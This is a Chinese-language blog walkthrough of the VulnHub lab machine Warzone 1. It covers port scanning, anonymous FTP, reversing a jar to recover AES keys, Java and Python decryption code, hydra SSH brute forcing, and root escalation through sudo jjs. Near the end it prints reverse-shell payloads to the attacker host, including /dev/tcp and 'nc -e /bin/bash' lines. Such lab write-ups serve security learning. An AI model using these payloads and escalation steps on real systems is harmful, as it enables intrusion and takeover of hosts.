整理硬盘文件来着,发现有两个2020年末下载的vulnhub靶机,本来是不想更靶机了,也不想在写博客了,而且现在干的事情和技术有点八竿子打不着了,前面写的两篇草稿也拖到现在都没完成,但是既然下了有没做,那就更一个吧。感觉vulnhub有的靶机不像是渗透,更像是ctf。
kali:192.168.31.115
warzone_1:192.168.31.111
sudo nmap -sS 192.168.31.111 -Pn -p 0-65535 -A -O
有这个http服务,访问发现是个栅栏密码,好像是什么w型,图片翻译过来就是itsawarzone,如下:
查看页面源码得到GA DIE UHCEETASTTRNL,虽然不知道是啥,但是估计是密文。对这个http服务开展目录爆破。
dirb http://192.168.31.111:5000
console页面访问需要pin码。
也不能说挖掘漏洞吧,只能说做个ctf题。把上面获得的字符串进行栅栏解密,密钥为3(爆破出来的),作者应该是想通过图片提示key为3,获得明文为“get auth credentials”,好像也没啥用,提示获取身份验证凭据。
尝试了console页面,尝试了两个字符串都不对,所以暂时放弃。针对ftp开展攻击,根据nmap信息,空密码登录ftp,依次执行如下命令:
ftp 192.168.31.111
ftp
ls
cd pub
ls
get note.txt
get warzone-encrypt.jar
查看note.txt获取提示:所有密码都需要经warzone-encrypt.jar加密,直接运行查看加密结果输出base64字符串。
乍一看以为是base64,实际是AES,一般AES会使用base64编码输出结果。新问题又有了,接下来怎么走,爆破ssh,作为靶机的话只有root,爆破不现实,而且又没有加密后的密码。因为dirb使用的默认字典,怀疑是目录没跑出来,换个字典尝试,也没有成果。
本着做ctf的想法,就想着逆向下jar数据包,看看有没有突破口。使用jadx-gui进行逆向,找到main函数。
查看可知是AES加密,查看AES加密的密钥,找到AES类的encryptedpassword方法。
然后就到了关键的地方,那就是getIV和getKey,代码中getIV作为key,getKey作为IV,这个要注意分析AES类中的构造方法,这里就不放图了。
IV |
w4rz0n3s3cur3k3y |
KEY |
w4rz0n3s3cur31vv |
获取到这两个值之后,任何一个经该代码加密的结果都可以被解密,结合AES类的字符串可知,这是CBC模式,PKCS5Padding。
结合前面的字符串提示,凭证去哪获取呢?经查看了别人的wp,发现合着“get auth credentials”是个路径,把空格改成“/”即可。访问“http://192.168.31.111:5000/get/auth/credentials”后会获得一些用户名和密码,一看就是用这个来加密的,否则“get auth cre…”的提示将毫无意义。
数量较少,想使用现有工具挨个解密,但是发现都解不出来。终于明白为啥wp里都自己写了解密代码,当然也可能是我没完全读懂代码吧。那就借其代码,把逆向出的代码复制进去,解密内容。下列代码需按注释文件名分别放在3个文件中,然后进行编译,去除无用代码的新代码如下:
/*Main.java*/
import java.util.Scanner;
/* loaded from: warzone-encrypt.jar:encrypt/Main.class */
public class Main {
public static void main(String[] args) {
System.out.println("Symmetric Encryption by Alienum");
Scanner in = new Scanner(System.in);
System.out.print("enter the en_password to decrypt : ");
String en_password = in.nextLine();
System.out.println("decrypted password : " + AES.decryptString(en_password));
System.exit(0);
}
}
/*AES.java*/
import java.security.Key;
import java.security.MessageDigest;
import java.util.Base64;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
/* loaded from: warzone-encrypt.jar:crypto/AES.class */
public class AES {
private static final IvParameterSpec DEFAULT_IV = new IvParameterSpec(new byte[19]);
private static final String ALGORITHM = "AES";
private static final String TRANSFORMATION = "AES/CBC/PKCS5Padding";
private Key key;
private IvParameterSpec iv;
private Cipher cipher;
public AES(String key) {
this(key, 128);
}
public AES(String key, int bit) {
this(key, bit, null);
}
public AES(String key, int bit, String iv) {
if (bit == 256) {
this.key = new SecretKeySpec(getHash("SHA-256", key), ALGORITHM);
} else {
this.key = new SecretKeySpec(getHash("MD5", key), ALGORITHM);
}
if (iv != null) {
this.iv = new IvParameterSpec(getHash("MD5", iv));
} else {
this.iv = DEFAULT_IV;
}
init();
}
private static byte[] getHash(String algorithm, String text) {
try {
return getHash(algorithm, text.getBytes("UTF-8"));
} catch (Exception ex) {
throw new RuntimeException(ex.getMessage());
}
}
private static byte[] getHash(String algorithm, byte[] data) {
try {
MessageDigest digest = MessageDigest.getInstance(algorithm);
digest.update(data);
return digest.digest();
} catch (Exception ex) {
throw new RuntimeException(ex.getMessage());
}
}
private void init() {
try {
this.cipher = Cipher.getInstance(TRANSFORMATION);
} catch (Exception ex) {
throw new RuntimeException(ex.getMessage());
}
}
public String decrypt(String str) {
try {
this.cipher.init(Cipher.DECRYPT_MODE, this.key, this.iv);
byte[] decrypt_data=this.cipher.doFinal(Base64.getDecoder().decode(str));
return new String(decrypt_data,"utf-8");
} catch (Exception ex) {
throw new RuntimeException(ex.getMessage());
}
}
public static String decryptString(String content) {
Obfuscated obs = new Obfuscated();
AES ea= new AES(obs.getIV(),128,obs.getKey());
return ea.decrypt(content);
}
}
/*Obfuscated.java*/
public class Obfuscated {
public String getIV() {
return "w4rz0n3s3cur31vv";
}
public String getKey() {
return "w4rz0n3s3cur3k3y";
}
}
编译顺序为:Ob->AES->Main。以上代码可以修改一下让其循环解密,这里就不屑了,反正对java不熟。经过解密,分别获得了一下用户名和密码:
用户名 |
密码 |
paratrooper |
#p4r4tr00per_4lw4ys_fly |
specops |
sp3c1alop3rations |
specforce |
thr33f0rces.SF |
aquaman |
und3rs3ay0uc4ns33 |
commander |
il0veCalisthen1cs |
commando |
c0mmandosArentRea1.! |
pathfinder |
!c4ny0uconnect.th3d0ts |
ranger |
r3al_eyes_real1ze_rea1_3y3s |
使用爆破工具对ssh进行爆破,把他们整理到文件里,然后使用hydra爆破下,也可以手动试。
hydra -L un.txt -P pw.txt ssh://192.168.31.111
经爆破发现是commando这个用户可以登录。
登录该用户。
ssh [email protected]
c0mmandosArentRea1.!
提权嘛,又特殊权限位文件、系统漏洞或者sudo -l。先查看当前用户权限。
id
看看系统信息。
uname -a
看看都有什么用户。
cat /etc/passwd | grep bin/bash
当前用户的sudo权限。
sudo -l
找找特殊权限位文件。
#既有SGID,也有SUID
find / -perm -6000 > file.txt
cat file.txt
#单有SGID
find / -perm -2000 > file.txt
#单有SUID
find / -perm -4000 > file.txt
以上找出来的特殊权限位的文件都没啥利用的点。找找当前用户为属主和属组的文件。
#属主
find / -user commando > file.txt
#属组
find / -group commando > file.txt
还是没有发现可疑点。因为服务器开启了web服务,所以进入web目录看看有没有可以利用的地方。
查看了所有文件,也没有利用点。因为前面发现有个captain用户,尝试看看属主为captain用户的文件,或许其他可读或可执行。搜索后发现一个user.txt,但其他人并不可读。
find / -user captain > file.txt
仔细观察搜索出来的文件,会发现captain用户文件有个.crypt的隐藏目录,权限为其他用户可执行,内部文件也都是可读文件。
查看readme.txt可知,root用户的密码和captain加密保存方式相同,而且,都是用了脚本进行编码,或许编码后的密码就在这里面。
查看script.sh可知加密后的用户密码存放在了该目录下的.C隐藏文件中。
查看.C文件获取密文,b开头是byte型。
b'c2MAAk1Y/hAsEsn+FasElyXvGSI0JxD+n/SCtXbHNM+1/YEU54DO0EQRDfD3wz/lrbkXEBJJJd1ylXZpi/2dopaklmG6NCAXfGKl1eWAUNU1Iw=='
查看encrypt.py。
根据encript.py代码,写个解密代码即可,流程是先进行simpecrypt加密在进行base64编码,因此解密代码如下:
#先安装下包:sudo pip2 install simple-crypt
#Python3安装导入会报错,因为包内语法是python2的,缺括号,请安装到python2中。
from simplecrypt import encrypt, decrypt
import base64
key='sekret'
en_data='c2MAAk1Y/hAsEsn+FasElyXvGSI0JxD+n/SCtXbHNM+1/YEU54DO0EQRDfD3wz/lrbkXEBJJJd1ylXZpi/2dopaklmG6NCAXfGKl1eWAUNU1Iw=='
en_data=base64.b64decode(en_data)
text=decrypt(key,en_data)
print text
获得密码为_us3rz0ne_F1RE。切换用户到captain,查看user.txt,查看sudo权限。
使用sudo可以不需要密码执行jjs命令,可以利用其进行提权到root。通过google得知,jjs和java有关,也可以单独执行一些命令,也可以执行java代码,那可以利用其执行系统命令,启动一个root的bash起来,或者反弹shell。百度要多翻两页。从网上找了段代码如下:
echo "Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -c \$@|sh _ echo sh <$(tty) >$(tty) 2>$(tty)').waitFor()" | sudo jjs
虽然看不太懂,大概意思就是启动了一个sh,但是启动起来ssh连接的命令行就卡死了,无法交互。又在网上找了个反弹shell的脚本,修改如下:
export RHOST=192.168.31.115
export RPORT=12345
echo 'var host=Java.type("java.lang.System").getenv("RHOST");
var port=Java.type("java.lang.System").getenv("RPORT");
var ProcessBuilder = Java.type("java.lang.ProcessBuilder");
var p=new ProcessBuilder("/bin/bash", "-i").redirectErrorStream(true).start();
var Socket = Java.type("java.net.Socket");
var s=new Socket(host,port);
var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){ while(pi.available()>0)so.write(pi.read()); while(pe.available()>0)so.write(pe.read()); while(si.available()>0)po.write(si.read()); so.flush();po.flush(); Java.type("java.lang.Thread").sleep(50); try {p.exitValue();break;}catch (e){}};p.destroy();s.close();' | sudo jjs
但是并没有反弹成功。仔细研究了第一个串代码,发现第一串就是执行命令代码,可以利用第一串来反弹shell,修改如下。
echo "Java.type('java.lang.Runtime').getRuntime().exec('/bin/bash -i >& /dev/tcp/192.168.31.115/12345 0>&1').waitFor()" | sudo jjs
执行后报错,也不知道是什么问题,最后用nc进行反弹,代码如下:
echo "Java.type('java.lang.Runtime').getRuntime().exec('nc -e /bin/bash 192.168.31.115 12345').waitFor"|sudo jjs
# kali执行
nc -lvp 12345
进入root目录,获取root flag。
完毕。我发现我硬盘里还有好几个没做的靶机,后续抽空再做。